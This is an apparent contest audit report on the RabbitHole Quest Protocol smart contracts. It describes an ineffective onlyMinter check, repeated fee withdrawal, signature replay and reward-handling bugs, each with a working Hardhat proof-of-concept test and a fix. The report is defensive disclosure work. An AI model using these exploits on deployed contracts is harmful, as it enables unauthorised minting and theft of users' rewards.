RabbitHole Quest Protocol contest - AkshaySrivastav's results

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L47-L50

Vulnerability details

Impact

The RabbitHoleTickets and RabbitHoleReceipt contracts contain an onlyMinter modifier which intends to restrict the access to token minting functions to privileged accounts only.

However the implementation of the onlyMinter modifier is incorrect.

    modifier onlyMinter() {
        msg.sender == minterAddress;
        _;
    }

The modifier does not revert the transaction when the required condition is falsy. As a result any account can mint any amount of tokens to any ethereum account.

Actual Impact

As RabbitHoleTickets and RabbitHoleReceipt are valuable tokens to the protocol, unrestrictive minting of these tokens can cause severe financial loss to the protocol and its users. The RabbitHoleReceipt tokens can be used to drain rewards from Quest contracts.

Proof of Concept

The below mentioned test cases were added to ./test/RabbitHoleReceipt.spec.ts file and ran using npx hardhat test ./test/RabbitHoleReceipt.spec.ts command.

  describe.only('RabbitHoleReceipt Bug', () => {
    it('any account can mint tokens', async () => {
      const randomUser = (await ethers.getSigners())[10];
      const questId = 'abc';

      // Initial balance is 0
      expect(await RHReceipt.balanceOf(randomUser.address)).to.equal(0)

      // Mint via randomUser
      await RHReceipt.mint(randomUser.address, questId)

      // Tokens minted
      expect(await RHReceipt.balanceOf(randomUser.address)).to.equal(1)
    })
  })

The below mentioned test cases were added to ./test/RabbitHoleTickets.spec.ts file and ran using npx hardhat test ./test/RabbitHoleTickets.spec.ts command.

  describe.only('RabbitholeTickets Bug', () => {
    it('any account can mint tokens', async () => {
      const randomUser = (await ethers.getSigners())[10];
      const tokenId = 100;

      // Initial balance is 0
      expect(await RHTickets.balanceOf(randomUser.address, tokenId)).to.equal(0)

      // Mint via randomUser
      await RHTickets.mint(randomUser.address, tokenId, 10, '0x00')

      // Tokens minted
      expect(await RHTickets.balanceOf(randomUser.address, tokenId)).to.equal(10)
    })
  })

Tools Used

Hardhat

Recommended Mitigation Steps

Consider reverting on falsy result for the condition in the onlyMinter modifiers.

    modifier onlyMinter() {
        require(msg.sender == minterAddress, "not minter");
        _;
    }

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L81 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102

Vulnerability details

Impact

In Erc20Quest contract the withdrawFee function is used to pull out protocol fee from the contract. The docs and developer comments of the contract states that any user with unclaimed rewards should always be able to claim the rewards anytime in the future and owner must never forcefully withdraw user's claim.

    /// @notice Function that allows the owner to withdraw the remaining tokens in the contract
    /// @dev Every receipt minted should still be able to claim rewards (and cannot be withdrawn). This function can only be called after the quest end time
    /// @param to_ The address to send the remaining tokens to
    function withdrawRemainingTokens(address to_) public override onlyOwner {
        super.withdrawRemainingTokens(to_);
        uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId;
        uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - protocolFee() - unclaimedTokens;
        IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens);
    }

    // ...

    /// @notice Sends the protocol fee to the protocolFeeRecipient
    /// @dev Only callable when the quest is ended
    function withdrawFee() public onlyAdminWithdrawAfterEnd {
        IERC20(rewardToken).safeTransfer(protocolFeeRecipient, protocolFee());
    }

However, as per the current implementation of these withdrawFee function, it can be invoked multiple times by the owner. Hence resulting in owner pulling out more funds than he should be allowed to pull.

Actual Impact

The owner is able to claim more funds than he is allowed to. Resulting in the loss for users who still have some pending unclaimed rewards in the Quest contract. The implementation also deviates from its specs as this issue prevent users from claiming their legitimate rewards.

Proof of Concept

A new test file was created and ran using npx hardhat test path-to-file.

import { expect } from 'chai'
import { ethers, upgrades } from 'hardhat'

const AddressZero = ethers.constants.AddressZero;

describe('Quest Bug', () => {
    it('loss of funds due to repeated withdrawFee() invokation', async () => {
        // Minimal Setup
        const [owner, user,] = await ethers.getSigners();
        const questA = 'questA'
        const expiryDate = Math.floor(Date.now() / 1000) + 100000
        const startDate = Math.floor(Date.now() / 1000) + 1000
        const RabbitHoleReceipt = (await upgrades.deployProxy((await ethers.getContractFactory('RabbitHoleReceipt')), [
            AddressZero, owner.address, AddressZero, 0
        ]))
        const QuestFactory = (await upgrades.deployProxy((await ethers.getContractFactory('QuestFactory')), [
            owner.address, RabbitHoleReceipt.address, owner.address
        ]))
        const SampleERC20 = await (await ethers.getContractFactory('SampleERC20')).deploy("", "", 240, owner.address)
        await QuestFactory.setRewardAllowlistAddress(SampleERC20.address, true);

        // New Quest
        const createQuestTx = await QuestFactory.createQuest(
            SampleERC20.address,
            expiryDate,
            startDate,
            2,          // max participant
            100,        // reward amount
            'erc20',
            questA
        );
        const waitedTx = await createQuestTx.wait();
        const event = waitedTx?.events?.find((event: any) => event.event === 'QuestCreated');
        const [, contractAddress] = event.args;
        const QuestContract = await ethers.getContractAt('Erc20Quest', contractAddress);

        // transferring required token to Quest contract
        await SampleERC20.transfer(QuestContract.address, 240)
        expect(await SampleERC20.balanceOf(QuestContract.address)).to.eq(240);
        await QuestContract.start();
        await ethers.provider.send('evm_increaseTime', [startDate])

        // Get RabbitHoleReceipt token
        const messageHash1 = ethers.utils.solidityKeccak256(['address', 'string'], [user.address.toLowerCase(), questA])
        const signature1 = await owner.signMessage(ethers.utils.arrayify(messageHash1))
        await QuestFactory.connect(user).mintReceipt(questA, messageHash1, signature1)
        expect(await RabbitHoleReceipt.balanceOf(user.address)).to.equal(1)

        // User didn't come to claim the rewards
        expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(240)    // balance of Quest = 240 tokens

        await ethers.provider.send('evm_increaseTime', [expiryDate])

        // withdraw protocol fee
        await QuestContract.withdrawFee();                                          // 20 tokens were transferred to owner
        expect(await SampleERC20.balanceOf(owner.address)).to.equal(20)
        expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(220)

        for (let i = 0; i < 11; i++) {
            await QuestContract.withdrawFee();                                      // 20 tokens were transferred to owner on each invocation
        }
        // The contract gets drained
        expect(await SampleERC20.balanceOf(owner.address)).to.equal(240)
        expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(0)

        await ethers.provider.send('evm_increaseTime', [-startDate])
        await ethers.provider.send('evm_increaseTime', [-expiryDate])
    })
})

Tools Used

Hardhat

Recommended Mitigation Steps

The owner should not be allowed to call withdrawFee() repeatedly. The fee collection can be made automatic by transferring the fee on every user claim.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L81-L87 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc1155Quest.sol#L54-L63

Vulnerability details

Impact

The Erc20Quest and Erc1155Quest contracts both inherit a common Quest contract. However the mechanism to handle unclaimed rewards is totally different in both the contracts.

Erc20Quest

    function withdrawRemainingTokens(address to_) public override onlyOwner {
        super.withdrawRemainingTokens(to_);
        uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId;
        uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - protocolFee() - unclaimedTokens;
        IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens);
    }

Erc1155Quest

    function withdrawRemainingTokens(address to_) public override onlyOwner {
        super.withdrawRemainingTokens(to_);
        IERC1155(rewardToken).safeTransferFrom(
            address(this),
            to_,
            rewardAmountInWeiOrTokenId,
            IERC1155(rewardToken).balanceOf(address(this), rewardAmountInWeiOrTokenId),
            '0x00'
        );
    }

In Erc20Quest the unclaimed rewards of users are intended to stay in the contract so that the users can claim them anytime in the future. While in Erc1155Quest the owner can pull out all unclaimed rewards as soon as the Quest ends.

This raises two major concerns:

1. The behaviour of Erc20Quest and Erc1155Quest contracts (even though both inherits a common Quest contract) are totally different to each other w.r.t handling the unclaimed rewards.
2. For Erc1155Quest the owner can pull out all unclaimed rewards of the users. Resulting in loss for the users in case they ever come back to claim their rewards.

In lack of sufficient documentation both the two scenarios cannot be considered as intentional and should be treated as unintended results.

Proof of Concept

Test cases were added to a new test file and ran using npx hardhat test path-to-file.

import { expect } from 'chai'
import { ethers, upgrades } from 'hardhat'

const AddressZero = ethers.constants.AddressZero;

describe('Quest Bug', () => {
    it('Erc20Quest: User can claim unclaimed rewards in future', async () => {
        // Minimal Setup
        const [owner, user,] = await ethers.getSigners();
        const questA = 'questA'
        const expiryDate = Math.floor(Date.now() / 1000) + 100000
        const startDate = Math.floor(Date.now() / 1000) + 1000
        const RabbitHoleReceipt = (await upgrades.deployProxy((await ethers.getContractFactory('RabbitHoleReceipt')), [
            AddressZero, owner.address, AddressZero, 0
        ]))
        const QuestFactory = (await upgrades.deployProxy((await ethers.getContractFactory('QuestFactory')), [
            owner.address, RabbitHoleReceipt.address, owner.address
        ]))
        const SampleERC20 = await (await ethers.getContractFactory('SampleERC20')).deploy("", "", 240, owner.address)
        await QuestFactory.setRewardAllowlistAddress(SampleERC20.address, true);

        // New Quest
        const createQuestTx = await QuestFactory.createQuest(
            SampleERC20.address,
            expiryDate,
            startDate,
            2,          // max participant
            100,        // reward amount
            'erc20',
            questA
        );
        const waitedTx = await createQuestTx.wait();
        const event = waitedTx?.events?.find((event: any) => event.event === 'QuestCreated');
        const [, contractAddress] = event.args;
        const QuestContract = await ethers.getContractAt('Erc20Quest', contractAddress);

        // transferring required token to Quest contract
        await SampleERC20.transfer(QuestContract.address, 240)
        expect(await SampleERC20.balanceOf(QuestContract.address)).to.eq(240);
        await QuestContract.start();
        await ethers.provider.send('evm_increaseTime', [startDate])

        // Get RabbitHoleReceipt token
        const messageHash1 = ethers.utils.solidityKeccak256(['address', 'string'], [user.address.toLowerCase(), questA])
        const signature1 = await owner.signMessage(ethers.utils.arrayify(messageHash1))
        await QuestFactory.connect(user).mintReceipt(questA, messageHash1, signature1)
        expect(await RabbitHoleReceipt.balanceOf(user.address)).to.equal(1)

        // User didn't come to claim the rewards
        expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(240)                // balance of Quest = 240 tokens
        await ethers.provider.send('evm_increaseTime', [expiryDate])

        // Owner withdraws the extra tokens
        await QuestContract.withdrawRemainingTokens(owner.address);                             // 120 tokens were transferred to owner
        expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(120)

        // Owner withdraws protocol fee
        await QuestContract.withdrawFee();                                                      // 20 tokens were transferred to owner
        expect(await SampleERC20.balanceOf(owner.address)).to.equal(140)
        expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(100)

        // User comes and claims pending unclaimed rewards successfully
        expect(await SampleERC20.balanceOf(user.address)).to.equal(0)                           // balance of user = 0 tokens
        await QuestContract.connect(user).claim();
        expect(await SampleERC20.balanceOf(user.address)).to.equal(100)                         // balance of user = 100 tokens
        expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(0)                  // balance of Quest = 0 tokens

        await ethers.provider.send('evm_increaseTime', [-startDate])
        await ethers.provider.send('evm_increaseTime', [-expiryDate])
    })

    it('Erc1155Quest: User cannot claim unclaimed rewards as owner pulled out all rewards', async () => {
        // Minimal Setup
        const [owner, user,] = await ethers.getSigners();
        const questA = 'questA'
        const erc1155Id = 1
        const expiryDate = Math.floor(Date.now() / 1000) + 100000
        const startDate = Math.floor(Date.now() / 1000) + 1000
        const RabbitHoleReceipt = (await upgrades.deployProxy((await ethers.getContractFactory('RabbitHoleReceipt')), [
            AddressZero, owner.address, AddressZero, 0
        ]))
        const QuestFactory = (await upgrades.deployProxy((await ethers.getContractFactory('QuestFactory')), [
            owner.address, RabbitHoleReceipt.address, owner.address
        ]))
        const SampleERC1155 = await (await ethers.getContractFactory('SampleErc1155')).deploy()

        // New Quest
        const createQuestTx = await QuestFactory.createQuest(
            SampleERC1155.address,
            expiryDate,
            startDate,
            2,          // max participant
            erc1155Id,  // tokenId
            'erc1155',
            questA
        );
        const waitedTx = await createQuestTx.wait();
        const event = waitedTx?.events?.find((event: any) => event.event === 'QuestCreated');
        const [, contractAddress] = event.args;
        const QuestContract = await ethers.getContractAt('Erc20Quest', contractAddress);

        // transferring required tokens to Quest contract
        await SampleERC1155.safeTransferFrom(owner.address, QuestContract.address, erc1155Id, 2, '0x')
        expect(await SampleERC1155.balanceOf(QuestContract.address, erc1155Id)).to.eq(2);
        await QuestContract.start();
        await ethers.provider.send('evm_increaseTime', [startDate])

        // Get RabbitHoleReceipt token
        const messageHash1 = ethers.utils.solidityKeccak256(['address', 'string'], [user.address.toLowerCase(), questA])
        const signature1 = await owner.signMessage(ethers.utils.arrayify(messageHash1))
        await QuestFactory.connect(user).mintReceipt(questA, messageHash1, signature1)
        expect(await RabbitHoleReceipt.balanceOf(user.address)).to.equal(1)

        // User didn't come to claim the rewards
        expect(await SampleERC1155.balanceOf(QuestContract.address, erc1155Id)).to.eq(2);           // balance of Quest = 2 tokens
        await ethers.provider.send('evm_increaseTime', [expiryDate])

        // Owner withdraws the extra tokens
        await QuestContract.withdrawRemainingTokens(owner.address);                                 // All tokens were transferred to owner
        expect(await SampleERC1155.balanceOf(QuestContract.address, erc1155Id)).to.equal(0)


        // User comes and tries to claim pending unclaimed rewards
        expect(await SampleERC1155.balanceOf(user.address, erc1155Id)).to.equal(0)                  // balance of user = 0 tokens
        await expect(QuestContract.connect(user).claim()).to.be
            .revertedWith('ERC1155: insufficient balance for transfer');
        expect(await SampleERC1155.balanceOf(user.address, erc1155Id)).to.equal(0)                  // balance of user = 0 tokens
        expect(await SampleERC1155.balanceOf(QuestContract.address, erc1155Id)).to.equal(0)         // balance of Quest = 0 tokens

        await ethers.provider.send('evm_increaseTime', [-startDate])
        await ethers.provider.send('evm_increaseTime', [-expiryDate])
    })
})

Tools Used

Hardhat

Recommended Mitigation Steps

The logic for handling unclaimed rewards should be revisited and be made consistent in both the Erc20Quest and Erc1155Quest contracts. Also owner should not be allowed to pull out unclaimed user rewards in Erc1155Quest contract.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L81

Vulnerability details

Impact

The Erc20Quest contract has two functions by which owner should legitimately pull out funds from the contract.

1. withdrawRemainingTokens - to pull out any excess funds exlcuding protocol fee and unclaimed rewards.
2. withdrawFee - to pull out the protocol fee

    function withdrawRemainingTokens(address to_) public override onlyOwner {
        super.withdrawRemainingTokens(to_);

        uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId;
        uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - protocolFee() - unclaimedTokens;
        IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens);
    }

The withdrawRemainingTokens function calculates the output tokens by substracting the protocol fee and unclaimed tokens from the current token balance of the contract. This calculation works fine if the withdrawRemainingTokens function is invoked before the withdrawFee function.

However, if the withdrawFee function is invoked before the withdrawRemainingTokens function, the output amount is calculated incorrectly. As the the withdrawRemainingTokens function always substract the protocolFee() value (even when the protocol fee is already claimed) the output amount comes out to be less than the correct amount.

Actual Impact

If the withdrawFee function is invoked before the withdrawRemainingTokens function, then the token output amount becomes less than the correct amount and the difference between those amounts gets stuck in the contract forever (assuming both functions can be invoked only once).

Proof of Concept

A new test file was created and was ran using npx hardhat test path-to-file.

import { expect } from 'chai'
import { ethers, upgrades } from 'hardhat'

const AddressZero = ethers.constants.AddressZero;

describe('Quest Bug', () => {
    it('loss of funds if protocol fee is withdrawn first', async () => {
        // Minimal Setup
        const [owner, user,] = await ethers.getSigners();
        const questA = 'questA'
        const expiryDate = Math.floor(Date.now() / 1000) + 100000
        const startDate = Math.floor(Date.now() / 1000) + 1000
        const RabbitHoleReceipt = (await upgrades.deployProxy((await ethers.getContractFactory('RabbitHoleReceipt')), [
            AddressZero, owner.address, AddressZero, 0
        ]))
        const QuestFactory = (await upgrades.deployProxy((await ethers.getContractFactory('QuestFactory')), [
            owner.address, RabbitHoleReceipt.address, owner.address
        ]))
        const SampleERC20 = await (await ethers.getContractFactory('SampleERC20')).deploy("", "", 240, owner.address)
        await QuestFactory.setRewardAllowlistAddress(SampleERC20.address, true);

        // New Quest
        const createQuestTx = await QuestFactory.createQuest(
            SampleERC20.address,
            expiryDate,
            startDate,
            2,          // max participant
            100,        // reward amount
            'erc20',
            questA
        );
        const waitedTx = await createQuestTx.wait();
        const event = waitedTx?.events?.find((event: any) => event.event === 'QuestCreated');
        const [, contractAddress] = event.args;
        const QuestContract = await ethers.getContractAt('Erc20Quest', contractAddress);

        // transferring required token to Quest contract
        await SampleERC20.transfer(QuestContract.address, 240)
        expect(await SampleERC20.balanceOf(QuestContract.address)).to.eq(240);
        await QuestContract.start();
        await ethers.provider.send('evm_increaseTime', [startDate])

        // Get RabbitHoleReceipt token
        const messageHash1 = ethers.utils.solidityKeccak256(['address', 'string'], [user.address.toLowerCase(), questA])
        const signature1 = await owner.signMessage(ethers.utils.arrayify(messageHash1))
        await QuestFactory.connect(user).mintReceipt(questA, messageHash1, signature1)
        expect(await RabbitHoleReceipt.balanceOf(user.address)).to.equal(1)

        // 1 out of 2 user claims
        await QuestContract.connect(user).claim();
        expect(await SampleERC20.balanceOf(user.address)).to.equal(100)             // 100 tokens were transferred to user
        expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(140)    // balance of Quest = 240 - 100 = 140 tokens

        // withdraw protocol fee
        await QuestContract.withdrawFee();                                          // 20 tokens were transferred to owner
        expect(await SampleERC20.balanceOf(owner.address)).to.equal(20)
        expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(120)

        // withdraw remaining tokens
        await QuestContract.withdrawRemainingTokens(owner.address);                 // 100 tokens were transferred to owner
        expect(await SampleERC20.balanceOf(owner.address)).to.equal(120)
        expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(20)     // 20 tokens are still present in Quest
    })
})

Tools Used

Hardhat

Recommended Mitigation Steps

The contract should validate that remaining tokens must be distributed before distributing the protocol fee.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L219-L229

Vulnerability details

Impact

The QuestFactory.mintReceipt function mints RabbitHoleReceipt tokens based upon signatures signed by claimSignerAddress.

    function mintReceipt(string memory questId_, bytes32 hash_, bytes memory signature_) public {
        if (quests[questId_].numberMinted + 1 > quests[questId_].totalParticipants) revert OverMaxAllowedToMint();
        if (quests[questId_].addressMinted[msg.sender] == true) revert AddressAlreadyMinted();
        if (keccak256(abi.encodePacked(msg.sender, questId_)) != hash_) revert InvalidHash();
        if (recoverSigner(hash_, signature_) != claimSignerAddress) revert AddressNotSigned();

        quests[questId_].addressMinted[msg.sender] = true;
        quests[questId_].numberMinted++;
        emit ReceiptMinted(msg.sender, questId_);
        rabbitholeReceiptContract.mint(msg.sender, questId_);
    }

In the above function only the account's address and quest id values are used to generate and validate the signature.

This causes various issues which are mentioned below:

1. There is no deadline for the signatures. Once a signature is signed by claimSignerAddress that signature can be provided to QuestFactory.mintReceipt function to mint an RabbitholeReceipt token at any point in the future.

2. The signature can be replayed on other EVM compatible chains on which RabbitHole protocol is deployed. The docs mention other EVM chain addresses of the contracts which means the protocol will be deployed on multiple chains.

3. The signature can be replayed on multiple instances of QuestFactory contract. If multiple QuestFactory contracts are deployed on a single EVM chain then signature intended for one contract can be replayed on the other ones.

Note that all these scenarios are true when questId_ parameter stays same.

Actual Impact

Exploitation using the above mentioned scenarios will lead to unintended minting of RabbitholeReceipt token. This is a crucial token for the protocol which is also used to claim rewards from Quest contracts. Hence any unintentional minting will cause loss of funds.

Proof of Concept

The test cases were added in ./test/QuestFactory.spec.ts file and ran using command npx hardhat test ./test/QuestFactory.spec.ts.

  describe.only('QuestFactory: Signature Replay Bug', () => {
    it('Signature can be used in different QuestFactory instance or on different chain', async () => {
      const randomUser = (await ethers.getSigners())[10];
      const questA = "A";

      // Sign message and create new Quest
      const messageHash = utils.solidityKeccak256(['address', 'string'], [randomUser.address.toLowerCase(), questA])
      const signature = await wallet.signMessage(utils.arrayify(messageHash))
      await deployedFactoryContract.setRewardAllowlistAddress(deployedSampleErc20Contract.address, true)
      await deployedFactoryContract.createQuest(
        deployedSampleErc20Contract.address, expiryDate, startDate, totalRewards, rewardAmount, 'erc20', questA
      )

      // Use the signature on First QuestFactory
      await deployedFactoryContract.connect(randomUser).mintReceipt(questA, messageHash, signature)
      expect(await deployedRabbitHoleReceiptContract.balanceOf(randomUser.address)).to.equal(1)

      const factoryPrevious = deployedFactoryContract
      const RHRPrevious = deployedRabbitHoleReceiptContract

      // Deploy a new QuestFactory (this could be on a different chain)
      await deployRabbitHoleReceiptContract()
      await deployFactoryContract()

      expect(factoryPrevious.address).to.not.eq(deployedFactoryContract.address)            // Verify we have new instance
      expect(RHRPrevious.address).to.not.eq(deployedRabbitHoleReceiptContract.address)

      // Create new Quest in new QuestFactory
      await deployedFactoryContract.setRewardAllowlistAddress(deployedSampleErc20Contract.address, true)
      await deployedFactoryContract.createQuest(
        deployedSampleErc20Contract.address, expiryDate, startDate, totalRewards, rewardAmount, 'erc20', questA
      )

      // Use the previously used signature again on new QuestFactory
      await deployedFactoryContract.connect(randomUser).mintReceipt(questA, messageHash, signature)
      expect(await deployedRabbitHoleReceiptContract.balanceOf(randomUser.address)).to.equal(1)
      expect(await RHRPrevious.balanceOf(randomUser.address)).to.equal(1)
    })

    it('Signature can be used after 1 year', async () => {
      const randomUser = (await ethers.getSigners())[10];
      const questA = "A";

      // Sign message and create new Quest
      const messageHash = utils.solidityKeccak256(['address', 'string'], [randomUser.address.toLowerCase(), questA])
      const signature = await wallet.signMessage(utils.arrayify(messageHash))
      await deployedFactoryContract.setRewardAllowlistAddress(deployedSampleErc20Contract.address, true)
      await deployedFactoryContract.createQuest(
        deployedSampleErc20Contract.address, expiryDate, startDate, totalRewards, rewardAmount, 'erc20', questA
      )

      // Move ahead 1 year
      await ethers.provider.send("evm_mine", [expiryDate + 31536000])

      // Use the signature
      await deployedFactoryContract.connect(randomUser).mintReceipt(questA, messageHash, signature)
      expect(await deployedRabbitHoleReceiptContract.balanceOf(randomUser.address)).to.equal(1)
    })
  })

Tools Used

Hardhat

Recommended Mitigation Steps

Consider including deadline, chainid and QuestFactory's address in the signature message. Ideally signatures should be created according to the EIP712 standard.

1. Some upgradable contract implementations use _disableInitializers and some use initializer. These different uses have different outputs. While initializer modifier sets the _initialized variable to 1, the _disableInitializers sets _initialized to type(uint8).max. A single way of disabling implementation contracts must be used for all contracts to maintain consistensy.
2. RabbitHoleTickets.setTicketRenderer and setRoyaltyRecipient should emit events.

   function setTicketRenderer(address ticketRenderer_) public onlyOwner {
       TicketRendererContract = TicketRenderer(ticketRenderer_);
   }
   function setRoyaltyRecipient(address royaltyRecipient_) public onlyOwner {
       royaltyRecipient = royaltyRecipient_;
   }

3. Name of unused variables can be omitted to silence compiler warnings.

   function royaltyInfo(
       uint256 tokenId_,
       uint256 salePrice_
   ) external view override returns (address receiver, uint256 royaltyAmount) {
       // ...
   }

   Can be changed to

   function royaltyInfo(
       uint256,
       uint256 salePrice_
   ) external view override returns (address receiver, uint256 royaltyAmount) {
       // ...
   }

4. In Quest.claim the updation of redeemedTokens breaks CEI pattern.

   function claim() public virtual onlyQuestActive {
       // ...
   
       uint256 totalRedeemableRewards = _calculateRewards(redeemableTokenCount);
       _setClaimed(tokens);       
       _transferRewards(totalRedeemableRewards);
       redeemedTokens += redeemableTokenCount;     // breaking CEI - state updated after external call
   
       // ...
   }

5. Quest - compiler warnings for unreachable code can be silenced by marking the Quest contract as abstract with declared functions rather than reverting.

   abstract contract Quest ... {
       function _calculateRewards(uint256 redeemableTokenCount_) internal virtual returns (uint256);
   
       function _transferRewards(uint256 amount_) internal virtual;
   }